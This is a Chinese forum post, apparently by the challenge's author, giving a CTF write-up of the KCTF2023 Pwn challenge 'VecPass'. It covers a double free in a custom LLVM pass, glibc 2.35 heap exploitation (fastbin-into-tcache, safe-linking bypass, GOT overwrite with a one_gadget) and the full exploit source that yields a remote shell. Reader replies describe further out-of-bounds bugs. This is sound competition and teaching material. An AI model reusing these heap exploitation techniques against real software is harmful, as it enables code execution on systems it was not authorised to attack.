首页
社区
课程
招聘
[KCTF2023 年度赛-Pwn] 第四题 AI控制空间站(VecPass) WriteUp
发表于: 2023-7-3 19:53 7801

[KCTF2023 年度赛-Pwn] 第四题 AI控制空间站(VecPass) WriteUp

2023-7-3 19:53
7801

本题是一道LLVM PASS PWN的题目,重点考察了C++ STL中本身存在的一个漏洞,可导致double free的产生。结合glibc堆以及LLVMopt中的相关特性可完成漏洞的利用,最终在不同的内核环境中寻找一条共同的劫持链,可拿到稳定的远程shell

附件中的漏洞模块VecPass.so文件并没有去符号表,本着想让各位师傅集中精力在漏洞的发掘和利用上的意图,希望各位师傅能够玩得开心。

LLVM PASS PWN的基础以及调试方法等内容可参考笔者之前写的文章:https://bbs.kanxue.com/thread-274259.htm

在本题所给的附件中,optLLVM的优化器和分析器,其版本是Ubuntu LLVM version 14.0.0libc对应的版本是Ubuntu GLIBC 2.35-0ubuntu3.1。而漏洞存在于自定义的LLVM PASS模块VecPass.so中,故我们需要对其进行逆向分析。

_cxx_global_var_init_10中,可以找到这个自定义LLVM PASS模块的PASS注册名为winmt,以及一个彩蛋(笑

因此,需要使用opt -load ./VecPass.so -winmt ./exp.ll -enable-new-pm=0 -f命令加载模块并启动LLVM的优化分析(注意新版需要加-enable-new-pm=0,至于-f选项也可以不加,不影响后续利用)。

定位到vtable虚表,即可找到重写的runOnFunction函数:

runOnFunction函数中,先关闭了标准报错,然后将numnm两个变量清零。接着,获取了当前处理的函数名,并将其全部转为大写字母,只有结果为KCTF才能进行后续操作。简单来说,就是只处理函数名的大写为KCTF的所有函数

满足了上述要求后,设置标记变量sign0,并调用run函数进一步对当前函数中的指令进行解析操作。只有当run函数的返回值为1的时候,才会跳出while循环,代表对该函数的处理结束。

这里我对几个局部变量重命名了,index代表vector中的编号,del_times代表删除的次数,total_times代表之后的createdelete总操作次数,初始的时候index-1del_times0total_times0。然后会实例化15ChunkInfo类的对象,并依次push_back放入C++ STL Vector中。

再往下看,可以看到仅当命令的操作符编号为56号,即Call操作符的时候(从/usr/include/llvm-xx/llvm/IR/Instruction.def中可查到),才会跳出循环进一步解析处理。

接着就是对于Call操作符调用的不同函数及参数做不同的解析处理了。

结合下面的create等操作,很容易恢复出ChunkInfo的成员变量如下:

其中,size是堆块大小,buf指向申请分配的堆块区域。

ChunkInfo类的构造函数ChunkInfo::ChunkInfo()如下,初始化清零操作:

ChunkInfo类的析构函数ChunkInfo::~ChunkInfo如下,对堆块进行释放:

这里的析构函数虽然很常规,但是很重要,是漏洞出现的关键,后文会具体分析。

若调用的是create函数,则需要有两个参数(这里getNumOperands的值需要为3是因为算上了被调用者)。然后,当前total_times(创建和删除总操作次数)不得超过15。此外,还需要indexdel_times的和小于14,即仍存在的和已删除的vector中元素的数量和,确保vector不溢出。

先通过llvm::isa<llvm::ConstantInt,llvm::Value *>判断参数是否为常数,再用getArgOperand(xxx, 0)getZExtValue获取create函数的第一个参数值,即堆块可用区域的大小,范围是[0x10, 0x100)

然后,根据第一个参数的堆块大小值申请相应的堆块,存放入vector中的下一个未使用对象的buf指针中。

create函数的第二个参数可以是0/1/2,若为0则不进行任何操作,若为1则将申请的堆块(buf指针指向的地址)中的前八个字节给全局变量num,若为2则相反地将num的值赋给堆块的前八个字节。

remake操作受标记变量sign控制,每个KCTF函数只能调用一次remake函数可以有三个参数,其中第一个参数代表着vector中需要重置的对象编号,后面两个参数和create操作相同。

delete函数仅有一个参数,代表着需要删除的vector中的对象编号。此外,当前total_times(创建和删除总操作次数)不得超过15次才能执行delete操作

循环vector的迭代器,找到对应编号的vector元素,先将此对象中的sizebuf变量清空,再用erase直接对这个vector元素进行删除处理

最后,index编号减一,del_times删除次数加一。

加减运算addsub操作都只有一个参数,代表全局变量num所需加减的值。

位运算操作有and/or/xor三种,在做位运算操作前都需要num只取后四个字节。根据传入的单一参数值,位运算分为两种:将全局变量numnm进行相应位运算操作和与传入的参数值进行位运算操作。

swap操作无参数,但受全局变量used控制,整个程序执行过程中只能调用一次

swap操作会将全局变量numnm的值相互交换。

end操作无参数,会返回1,使得跳出runOnFunction中的while循环,表示该KCTF函数处理完成。

此外,若是其他未定义操作,则返回0,并将instIter往后移动一位,再次重新调用run函数,接着当前指令之后继续解析处理。

根据上述逆向分析的过程,本题乍一看没有明显的漏洞,但是注意其中使用了C++ STLvector容器。在delete操作中,在对某个对象删除的时候会将对应的vector元素用erase直接删除掉。

我们来看C++ STLvector容器的erase操作删除单个元素时的源码:

其中,copy(first, last, result)函数会将区间[first, last)内的元素复制到[result, result+(last-first))区间内。然后将finish位置往前移动一位。

需要特别注意的是此处的destroy(finish)语句,destroy函数会将对应指针所指的元素析构掉。因此,此处执行的析构函数是当前vector中最后一个元素的,而并非被删除的元素的!

例如,原本vector中存在五个元素1 2 3 4 5,现在删除3号元素,那么此时vector中的元素变为1 2 4 5 (5)size变为4,但是最后一个5号元素的空间仍存在。然后将会调用现有的1 2 4 5中最后的5号元素的析构函数。

这里的写法是非常奇怪的,按照本题的析构函数,对vector中最后一个元素析构,其中的堆块会被释放掉,然而vector中最后一个元素仍保留在容器中,当vector容器被销毁时,会从左到右依次执行每个元素的析构函数,此时最后一个元素的堆块会被释放两次,就可能造成double free,笔者认为这是C++ STL中残留的一个漏洞。

本题中vectorrun函数中局部定义的,run函数返回时会销毁。首先先初始化了15个对象,其中buf指向NULL,依次压入了vector中。若是没有用create操作将vector填满,即使erase删除,析构的最后一个元素中对象的buf指针是NULL,并不会造成double free。因此,我们需要先将15vector中对象的堆块指针分配填满,这样就可以构造出double free了。

由于本题的环境是libc-2.35tcache chunk中会有key字段来标记该堆块是否已经存在于tcache list中。因此,我们不能直接在tcache listdouble free,而fastbin中只会检测相邻的两个堆块是否一样,可用A->B->A的方式绕过,故可采用fastbin reverse into tcache的方式。简单来说,就是由于stashing机制,当tcache list中有空余位置的时候,若申请到fastbin中的堆块,则会将fastbin中之后的堆块甩入tcache list至满。因此,如果此时tcache list全被取出为空,fastbin中堆块是A->B->A,那么申请出A堆块,并在next指针写入target_addr,那么之后tcache list中将有三个元素B->A->target_addr,继而可申请出target_addr任意地址写。

对于本题来说,createdelete操作一共最多只有16次机会,而根据上文分析,我们需要将create填满,这需要15次操作,那么最后只能delete操作1次。然而,可以注意到vector是定义在run函数中的局部容器,在run函数返回后,vector容器会被销毁,届时将会从左至右依次执行其中每个对象的析构函数,即堆块会被依次释放。不难想到,可以先通过erase释放最后一个元素的堆块,再通过每个KCTF函数唯一一次的remake操作机会将其申请回来,这样vector中就会有两个相同的堆块,并使其前面有七个同样大小的堆块,两个相同的堆块之间间隔一个堆块。最后,在vector容器销毁的时候,tcache list将被填满,fastbin中也会出现double free的相同堆块。

此部分的参考构造方式如下:

需要注意的是,这里最后调用的是一个未定义函数ret(),而并未用end(),这是因为若是end()则会重新调用runOnFunction到下一个大写后是KCTF的函数,这个过程中涉及到了大堆块分配与释放的操作,会产生malloc_consolidate使fastbin中的堆块合并或下放,而此时fastbin list中存在double free的非法情况,会造成报错处理。因此,我们使用未定义函数ret(),使得接下来重新调用run()函数继续对该函数中的指令解析处理。

在有了double free可任意地址写以后,加上create的第二个参数,我们可以实现对堆块读取或写入数值,从而进行劫持。这里的劫持是需要修改tcachenext指针,由于glibc 2.35存在safe-linking机制,需要修改的值与tcache堆块地址右移12位得到的key相异或写入。这里的key只需要读取tcache list末尾chunknext指针(与0异或)即可得到。异或操作的运算也是有的,不过在进行位运算之前会将存储的数值num只取后四个字节,这就意味着我们不能劫持到如类似libc这样的长地址

由于我们的模块VecPass.so是由opt加载的,opt是没有地址随机化PIE保护的,且got表也是可写的。故可以对optgot表进行劫持,这是一个短地址,在四字节以内,满足要求。

那该劫持opt的哪一个got表呢?显然是得劫持runOnFunction函数全部处理结束后走到的plt表对应的got表。那么我们也就需要找到调用runOnFunction函数的最上层入口。

根据调试的栈回溯信息,很容易找到runOnFunction函数的最上层入口是位于0x434686位置的call llvm::legacy::PassManager::run(llvm::Module&)@plt

我们ni跳过后,后面所调用的plt表对应的got表都是可以劫持的,结合one_gadget的相关条件,很遗憾对所有可劫持的got表都没有直接能满足条件的one_gadget。不过,我们可以再进行一次任意地址的劫持,使得one_gadget满足条件,具体操作在下一节说明。

此处,笔者劫持的是llvm::Module::~Module()@plt对应的got表(地址为0x4476A0),并将其改为位于libc基地址偏移0xebdb3处的one_gadget(具体的劫持方法不唯一,但思路都应该一致)。

参考的劫持思路如下:

此处通过create(0x60, 1)unsorted bin中分割出堆块,获得libc地址。需要说明的是其中的两次delete操作:第一个delete(7)是因为此时的7号堆块是double free的堆块,与之后的9号堆块相同,若这里不删除,又会造成二次double free,最后end()返回后就会出现报错,具体原因上文已经说明了;第二个delete(10)是因为此时10号堆块中存放的是非法堆块地址,若不删除的话,之后vector销毁后析构的时候会报错,而此处用erase删除并不会触发此堆块对应的析构函数,并且之前已经将buf指针清空,不会出问题。

按照笔者的做法,目前对llvm::Module::~Module()@got.plt劫持后的执行情况如下:

此时,由于rax=0,是满足[rbp-0x50] == NULL的条件的,但并不满足[[rbp-0x70]] == NULL || [rbp-0x70] == NULL的条件。不过,调试可知,此时[rbp-0x70]中存放的是一个堆块地址,并且opt执行的时候堆区地址比较特殊,只有三个字节,故我们是可以劫持到这个堆块地址(后文称为目标堆地址)并将其中的值改为0

二次劫持的构造double free的部分和上文一致,只需要换个堆块大小就行了,这里也就不再赘述了。由于目标堆地址是未知的,我们需要先从tcache/fastbin中读取出一个异或加密后的堆地址并用key异或还原(或者是从smallbin中直接读取),再通过得到的堆地址加减偏移得到目标堆地址,然后再用key异或后写入double free的堆块的fd/next指针中。由上述过程可知,我们需要先将safe-linking异或加解密用的key通过swap操作机会存到全局变量nm中,且由于只有一次swap的机会,如果需要有解密过程,加密过程和解密过程使用的key最好是同一个或者是只有最后一位不同(解密的时候可用and将最后一位置零)。

我们需要获得某个堆块地址,再加减上相应的偏移得到目标堆地址。这里看似堆块地址的选取是比较自由的,其实不然。通过实际测试,表明opt程序在加载LLVM PASS模块运行的过程中受内核环境的影响较大,同样的操作在不同内核环境下的堆栈布局是有差别的。因此,在A内核环境下计算的某堆块地址与目标堆块地址的偏移与B内核环境下极有可能是不同的。

由于docker和主机是共享内核的,我们并不知道远程环境的内核版本是多少,因此我们需要在本地搭建两个不同的内核环境(最好版本相差较大),并寻找到一条共同的劫持链,这条劫持链大概率就是稳定的

根据笔者的尝试,找到了如下的一条稳定可行的劫持链:

此时的堆块布局如下:

先申请出0x70tcache,得到key0x4f3,再申请出0x60的堆块,通过异或解密出其next指针的堆地址为0x4f32f0,由于笔者是直接用gdb调试的,没有aslr,由上文截图中可知目标堆块的地址为0x5041a0,相差的偏移为0x10eb0,最后再将得到的目标堆块地址通过同样的key异或加密后写入fastbindouble free0x4f3670fd/next指针,最终由fastbin reverse into tcache即可完成二次劫持,将目标堆块置零,满足one_gadget的条件。

上述劫持链在笔者测试的不同内核环境中均是稳定的。

参考的完整exp脚本如下:

通过clang -emit-llvm -S exp.c -o exp.ll命令编译得到的exp.ll如下:

将上面的exp.ll使用base64编码后发送给远程server(最后以单独一行END结尾):

最终,得到稳定的远程shell

在比赛的过程中,被有的师傅吐槽没有给LLVM的启动命令呜呜呜,因为启动命令参数的不同会导致opt运行过程中的堆布局不同。有些师傅认为这是本地打通了但远程无法打通的原因,其实主要原因不在于此,而是在于正文中提到的内核因素影响了堆布局。

本题涉及的两个主要考察点分别是vectorerase中存在漏洞以及找到通用的劫持链以应对任意未知的远程环境。因此,正文中我给出的exp对于不同的启动命令以及不同的内核环境,都是稳定的。

此外,本题中虽然没给LLVM启动命令,但这是可以结合远程环境推断出来的。启动命令的参数还是比较固定的,不确定的就是文件路径以及是否添加了-f参数。

当按如下输入非法内容,产生报错的时候,可以根据报错信息得知文件存放在/home/ctf路径下。

至于是否添加了-f参数,在本地测试一下就可以知道,若是没有加-f参数,会报一个WARNING,如下图所示。然而,远程环境是没有WARNING的,因此远程启动命令中存在-f参数。

综上,容易推断出远程的启动命令为opt-14 -load /home/ctf/VecPass.so -winmt /home/ctf/exp.ll -enable-new-pm=0 -f。不过,即使知道了远程的启动命令,依然是一样需要去寻找到一条稳定的劫持链,毕竟我也不知道看雪远程服务器的内核版本是多少哈哈哈。

iterator erase(iterator position)
{
    if (position + 1 != end())
        copy(position + 1, finish, position);
    --finish;
    destroy(finish);
    return position;
}
iterator erase(iterator position)
{
    if (position + 1 != end())
        copy(position + 1, finish, position);
    --finish;
    destroy(finish);
    return position;
}
create(0x50, 0); // 0
create(0x50, 0); // 1
create(0x50, 0); // 2
create(0x50, 0); // 3
create(0x50, 0); // 4
create(0x50, 0); // 5
create(0x50, 0); // 6
 
create(0x10, 0); // 7
create(0x10, 0); // 8
create(0x10, 0); // 9
create(0x10, 0); // 10
create(0x10, 0); // 11
create(0x10, 0); // 12
 
create(0x50, 0); // 13
create(0x50, 0); // 14
delete(8);
remake(11, 0x50, 0);
ret();
create(0x50, 0); // 0
create(0x50, 0); // 1
create(0x50, 0); // 2
create(0x50, 0); // 3
create(0x50, 0); // 4
create(0x50, 0); // 5
create(0x50, 0); // 6
 
create(0x10, 0); // 7
create(0x10, 0); // 8
create(0x10, 0); // 9
create(0x10, 0); // 10
create(0x10, 0); // 11
create(0x10, 0); // 12
 
create(0x50, 0); // 13
create(0x50, 0); // 14
delete(8);
remake(11, 0x50, 0);
ret();
create(0x50, 0); // 0
create(0x50, 0); // 1
create(0x50, 0); // 2
create(0x50, 0); // 3
create(0x50, 0); // 4
create(0x50, 0); // 5
create(0x50, 1); // 6
xor(0x4476A0);
create(0x50, 2); // 7
delete(7);
create(0x60, 1); // 7
sub(0x219ce0);
create(0x50, 0); // 8
create(0x50, 0); // 9
add(0xebdb3);
create(0x50, 2); // 10
delete(10);
end();
create(0x50, 0); // 0
create(0x50, 0); // 1
create(0x50, 0); // 2
create(0x50, 0); // 3
create(0x50, 0); // 4
create(0x50, 0); // 5
create(0x50, 1); // 6
xor(0x4476A0);
create(0x50, 2); // 7
delete(7);
create(0x60, 1); // 7
sub(0x219ce0);
create(0x50, 0); // 8
create(0x50, 0); // 9
add(0xebdb3);
create(0x50, 2); // 10
delete(10);
end();
0x4168e0       <llvm::Module::~Module()@plt>    jmp    qword ptr [rip + 0x30dba]     <execvpe+1331>
              
0x7ffff0eebdb3 <execvpe+1331>                   lea    r10, [rbp - 0x50]
0x7ffff0eebdb7 <execvpe+1335>                   mov    qword ptr [rbp - 0x50], rax
0x7ffff0eebdbb <execvpe+1339>                   jmp    execvpe+1129                <execvpe+1129>
              
0x7ffff0eebce9 <execvpe+1129>                   mov    qword ptr [r10 + 0x10], 0
0x7ffff0eebcf1 <execvpe+1137>                   mov    rdx, qword ptr [rbp - 0x70]
0x7ffff0eebcf5 <execvpe+1141>                   mov    rsi, r10
0x7ffff0eebcf8 <execvpe+1144>                   lea    rdi, [rip + 0xec999]
0x7ffff0eebcff <execvpe+1151>                   mov    qword ptr [rbp - 0x78], r9
0x7ffff0eebd03 <execvpe+1155>                   call   execve                <execve>
0x4168e0       <llvm::Module::~Module()@plt>    jmp    qword ptr [rip + 0x30dba]     <execvpe+1331>
              
0x7ffff0eebdb3 <execvpe+1331>                   lea    r10, [rbp - 0x50]
0x7ffff0eebdb7 <execvpe+1335>                   mov    qword ptr [rbp - 0x50], rax
0x7ffff0eebdbb <execvpe+1339>                   jmp    execvpe+1129                <execvpe+1129>
              
0x7ffff0eebce9 <execvpe+1129>                   mov    qword ptr [r10 + 0x10], 0
0x7ffff0eebcf1 <execvpe+1137>                   mov    rdx, qword ptr [rbp - 0x70]
0x7ffff0eebcf5 <execvpe+1141>                   mov    rsi, r10
0x7ffff0eebcf8 <execvpe+1144>                   lea    rdi, [rip + 0xec999]
0x7ffff0eebcff <execvpe+1151>                   mov    qword ptr [rbp - 0x78], r9
0x7ffff0eebd03 <execvpe+1155>                   call   execve                <execve>
create(0x70, 0); // 0
create(0x70, 0); // 1
create(0x70, 0); // 2
create(0x70, 0); // 3
create(0x70, 0); // 4
create(0x70, 0); // 5
create(0x70, 0); // 6
create(0x60, 1); // 7
swap();
create(0x50, 1); // 8
xor(0);
add(0x10eb0);
xor(0);
create(0x70, 2); // 9
delete(9);
create(0x70, 0); // 9
create(0x70, 0); // 10
and(0);
create(0x70, 2); // 11
delete(11);
end();
create(0x70, 0); // 0
create(0x70, 0); // 1
create(0x70, 0); // 2
create(0x70, 0); // 3
create(0x70, 0); // 4
create(0x70, 0); // 5
create(0x70, 0); // 6
create(0x60, 1); // 7
swap();
create(0x50, 1); // 8
xor(0);
add(0x10eb0);
xor(0);
create(0x70, 2); // 9
delete(9);
create(0x70, 0); // 9
create(0x70, 0); // 10
and(0);
create(0x70, 2); // 11
delete(11);
end();
void create(unsigned int size, unsigned int choice);
void remake(unsigned int index, unsigned int size, unsigned int choice);
void delete(unsigned int index);
void add(unsigned int val);
void sub(unsigned int val);
void and(unsigned int val);
void or(unsigned int val);
void xor(unsigned int val);
void swap();
void ret();
void end();
 
void KCTF()
{
    create(0x50, 0); // 0
    create(0x50, 0); // 1
    create(0x50, 0); // 2
    create(0x50, 0); // 3
    create(0x50, 0); // 4
    create(0x50, 0); // 5
    create(0x50, 0); // 6
     
    create(0x10, 0); // 7
    create(0x10, 0); // 8
    create(0x10, 0); // 9
    create(0x10, 0); // 10
    create(0x10, 0); // 11
    create(0x10, 0); // 12
     
    create(0x50, 0); // 13
    create(0x50, 0); // 14
    delete(8);
    remake(11, 0x50, 0);
    ret();
     
    create(0x50, 0); // 0
    create(0x50, 0); // 1
    create(0x50, 0); // 2
    create(0x50, 0); // 3
    create(0x50, 0); // 4
    create(0x50, 0); // 5
    create(0x50, 1); // 6
    xor(0x4476A0);
    create(0x50, 2); // 7
    delete(7);
    create(0x60, 1); // 7
    sub(0x219ce0);
    create(0x50, 0); // 8
    create(0x50, 0); // 9
    add(0xebdb3);
    create(0x50, 2); // 10
    delete(10);
    end();
}
 
void kctf()
{
    create(0x70, 0); // 0
    create(0x70, 0); // 1
    create(0x70, 0); // 2
    create(0x70, 0); // 3
    create(0x70, 0); // 4
    create(0x70, 0); // 5
    create(0x70, 0); // 6
     
    create(0x10, 0); // 7
    create(0x10, 0); // 8
    create(0x10, 0); // 9
    create(0x10, 0); // 10
    create(0x10, 0); // 11
    create(0x10, 0); // 12
     
    create(0x70, 0); // 13
    create(0x70, 0); // 14
    delete(8);
    remake(11, 0x70, 0);
    ret();
     
    create(0x70, 0); // 0
    create(0x70, 0); // 1
    create(0x70, 0); // 2
    create(0x70, 0); // 3
    create(0x70, 0); // 4
    create(0x70, 0); // 5
    create(0x70, 0); // 6
    create(0x60, 1); // 7
    swap();
    create(0x50, 1); // 8
    xor(0);
    add(0x10eb0);
    xor(0);
    create(0x70, 2); // 9
    delete(9);
    create(0x70, 0); // 9
    create(0x70, 0); // 10
    and(0);
    create(0x70, 2); // 11
    delete(11);
    end();
}
void create(unsigned int size, unsigned int choice);
void remake(unsigned int index, unsigned int size, unsigned int choice);
void delete(unsigned int index);
void add(unsigned int val);
void sub(unsigned int val);
void and(unsigned int val);
void or(unsigned int val);
void xor(unsigned int val);
void swap();
void ret();
void end();
 
void KCTF()
{
    create(0x50, 0); // 0
    create(0x50, 0); // 1
    create(0x50, 0); // 2
    create(0x50, 0); // 3
    create(0x50, 0); // 4
    create(0x50, 0); // 5
    create(0x50, 0); // 6
     
    create(0x10, 0); // 7
    create(0x10, 0); // 8
    create(0x10, 0); // 9
    create(0x10, 0); // 10
    create(0x10, 0); // 11
    create(0x10, 0); // 12
     
    create(0x50, 0); // 13
    create(0x50, 0); // 14
    delete(8);
    remake(11, 0x50, 0);
    ret();
     
    create(0x50, 0); // 0
    create(0x50, 0); // 1
    create(0x50, 0); // 2
    create(0x50, 0); // 3
    create(0x50, 0); // 4
    create(0x50, 0); // 5
    create(0x50, 1); // 6
    xor(0x4476A0);
    create(0x50, 2); // 7
    delete(7);
    create(0x60, 1); // 7
    sub(0x219ce0);
    create(0x50, 0); // 8
    create(0x50, 0); // 9
    add(0xebdb3);
    create(0x50, 2); // 10
    delete(10);
    end();
}
 
void kctf()
{
    create(0x70, 0); // 0
    create(0x70, 0); // 1
    create(0x70, 0); // 2
    create(0x70, 0); // 3
    create(0x70, 0); // 4
    create(0x70, 0); // 5
    create(0x70, 0); // 6
     
    create(0x10, 0); // 7
    create(0x10, 0); // 8
    create(0x10, 0); // 9
    create(0x10, 0); // 10
    create(0x10, 0); // 11
    create(0x10, 0); // 12
     

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2023-9-11 13:28 被kanxue编辑 ,原因:
收藏
免费 7
支持
分享
最新回复 (10)
雪    币: 47147
活跃值: (20430)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
2

题目收到,方便时先加我下微信:×****
在比赛前评委,会评定题目

最后于 2023-9-11 12:00 被kanxue编辑 ,原因:
2023-7-3 21:10
0
雪    币: 47147
活跃值: (20430)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
3
第四题 AI控制空间站
2023-8-27 10:29
0
雪    币: 23567
活跃值: (12095)
能力值: ( LV15,RANK:1744 )
在线值:
发帖
回帖
粉丝
4

点赞作者,从解题人的角度考虑的非常全面,包括各种有意无意的坑和解法的稳定性。

题目其实还有两处漏洞,即index为-1时,delete和remake的索引与index做的是无符号比较,所以可以任意取值。对于delete,这相当于能在堆区任意偏移处写12个0,对于remake则是一个堆区任意偏移的四字节常量任意写。

最早没有意识到run函数可以被多次执行,面对15次的限制以为无法通过正常的方式填到vector的最后一项,刚好发现了这两处无符号比较的越界,以为是预期(特别的,create的index用的是有符号比较),没想到是非预期。
所以,可以用remake越界直接填写vector的最后一项,然后delete vector靠前的一项将最后一项的堆块释放,再用delete的越界写0改掉释放堆块的key(显然,这一步对堆块布局的稳定性要求相当高…),破坏tcache double free的检测。index为-1时用delete越界改写后index变为-2,但此后都不能再调用create(否则覆盖了vector堆块前面的头在析构时会出错),所以不能通过正常的方式调用delete触发第二次free。
后来才发现run函数可以调用多次,所以实际触发double free由最后的vector析构完成(发现这里时更坚定的认为这是预期。。。)。
好不容易把one_gadget写入got表,才发现所有的got表项都不满足……上面writeup的是最接近的,有考虑能不能再搞一次任意地址分配改掉堆上内容……由于remake的次数限制不太好搞,再加上不想碰堆风水,以及又发现在两台不同机器上堆地址不一样,还有one_gadget的限制搞不定,放弃……

最后于 2023-9-11 23:36 被mb_mgodlfyn编辑 ,原因:
2023-9-11 12:33
0
雪    币: 173
活跃值: (704)
能力值: ( LV9,RANK:190 )
在线值:
发帖
回帖
粉丝
5
唉,我也是一直在试index为-1时,delete和remake导致的堆区访问漏洞,开始没把vector占满,erase时没有触发free操作,以为不是个堆题。。。
2023-9-11 13:18
0
雪    币: 88
活跃值: (8209)
能力值: ( LV13,RANK:438 )
在线值:
发帖
回帖
粉丝
6
mb_mgodlfyn 点赞作者,从解题人的角度考虑的非常全面,包括各种有意无意的坑和解法的稳定性。 题目其实还有两处漏洞,即index为-1时,delete和remake的索引与index做的是无符号比较,所以可以任 ...
当时出题的时候的确没有考虑到初始index是-1,无符号比较会出问题。师傅厉害,很细节,学习了。
2023-9-11 13:22
0
雪    币: 88
活跃值: (8209)
能力值: ( LV13,RANK:438 )
在线值:
发帖
回帖
粉丝
7
phyman 唉,我也是一直在试index为-1时,delete和remake导致的堆区访问漏洞,开始没把vector占满,erase时没有触发free操作,以为不是个堆题。。。[em_5]
当时也是故意vector大小设置的比较大,想着一般人不会直接填满试出来这个洞hhh,其实如果知道vector的erase存在这个问题,就简单了。
2023-9-11 13:26
0
雪    币: 1221
活跃值: (1157)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
8
llvm STL glibc Kernel全会,winmt我真的哭死
2023-9-14 12:59
0
雪    币: 2267
活跃值: (1523)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
9
llvm STL glibc Kernel全会,winmt我真的哭死
2023-9-26 09:07
0
雪    币: 3004
活跃值: (30866)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
感谢分享
2023-9-26 09:24
1
雪    币: 2147
活跃值: (5228)
能力值: ( LV7,RANK:150 )
在线值:
发帖
回帖
粉丝
11
winmt太强了
2023-10-14 17:07
0
游客
登录 | 注册 方可回帖
返回
//